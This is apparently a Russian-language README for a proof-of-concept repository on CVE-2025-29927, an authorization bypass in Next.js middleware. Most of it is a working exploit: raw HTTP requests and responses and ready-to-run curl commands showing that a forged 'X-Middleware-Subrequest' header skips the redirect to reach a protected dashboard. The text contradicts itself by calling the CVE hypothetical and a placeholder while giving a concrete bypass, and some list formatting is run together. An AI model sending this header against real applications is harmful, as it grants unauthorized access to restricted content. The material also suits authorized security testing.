
Authorization Bypass in Next.js Middleware
Этот репозиторий содержит доказательство концепции (Proof of Concept, PoC) для CVE-2025-29927 — гипотетической уязвимости, демонстрирующей ошибку в обработке middleware в веб-приложении. PoC показывает, как специально сформированный HTTP-запрос может обойти логику перенаправления для доступа к ограниченному контенту, такому как панель управления. Данный проект предназначен исключительно для образовательных целей и исследований в области безопасности.
Отказ от ответственности: Данный PoC предназначен для использования только в контролируемых средах с явного разрешения. Несанкционированное тестирование систем, которыми вы не владеете или на тестирование которых у вас нет согласия, является незаконным и неэтичным.
Для выполнения данного PoC вам понадобятся:
abc.com), работающий с уязвимой конфигурацией (конкретное программное обеспечение/версия будут уточнены на основе данных о CVE).curl (curl.se), Burp Suite (portswigger.net/burp) или собственный скрипт.CVE-2025-29927 (заполнитель; замените на официальные детали CVE, когда они станут доступны) по-видимому, использует ошибку конфигурации или логики в middleware. PoC демонстрирует, что добавление пользовательского заголовка (X-Middleware-Subrequest) изменяет поведение сервера, обходя механизм перенаправления для доступа к ограниченному контенту. Вероятно, это связано с тем, как middleware (например, Nginx с Next.js) обрабатывает подзапросы или проверяет заголовки.
Для получения дополнительной информации об уязвимостях middleware обратитесь к OWASP Middleware Security.
PoC состоит из двух шагов: исходного неуспешного запроса и модифицированного успешного запроса. Каждый шаг включает HTTP-запрос, ответ и подробное объяснение.
Этот шаг демонстрирует поведение сервера по умолчанию при доступе к конечной точке /dashboard без дополнительных заголовков.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Попытка доступа к конечной точке панели управления.User-Agent и Accept, имитируют типичный браузерный запрос.307 Temporary Redirect: Указывает, что сервер перенаправляет клиента, вероятно, из-за аутентификации, авторизации или логики маршрутизации (например, перенаправление на страницу входа).Server: nginx/1.14.1: Идентифицирует веб-сервер./dashboard. Отсутствие заголовка Location в этом ответе (возможно, опущено для краткости) означает, что адрес перенаправления находится в другом месте.На этом шаге вводится пользовательский заголовок для обхода перенаправления и успешного получения содержимого панели управления.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Пользовательский заголовок, добавленный к исходному запросу. Повторяющаяся строка middleware может эксплуатировать ошибку парсинга или проверки в цепочке middleware.200 OK: Подтверждает успешный доступ к содержимому панели управления.Content-Type: text/html; charset=utf-8: Указывает на HTML-ответ, скорее всего, страницу панели управления.X-Powered-By: Next.js: Предполагает, что приложение использует Next.js — фреймворк React, который часто полагается на middleware для маршрутизации.Cache-Control: Запрещает кеширование, что типично для динамического, пользовательского контента.Content-Length: 30174: Размер тела ответа в байтах.X-Middleware-Subrequest, вероятно, заставляет middleware обрабатывать запрос как легитимный подзапрос, обходя логику перенаправления. Это может указывать на уязвимость в том, как проверяются или обрабатываются подзапросы.Выполните следующие шаги для воспроизведения PoC с помощью curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Ожидаемый результат: Ответ 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Ожидаемый результат: Ответ 200 OK с содержимым панели управления.
Примечание: Замените abc.com на фактический целевой домен при тестировании в авторизованной среде.
curl для HTTP-запросов.Мы приветствуем вклад в этот проект! Если вы хотите предложить улучшения, исправления или дополнительные сценарии, пожалуйста, создайте issue или отправьте pull request.
Этот проект лицензирован на условиях лицензии MIT. Подробности см. в файле LICENSE.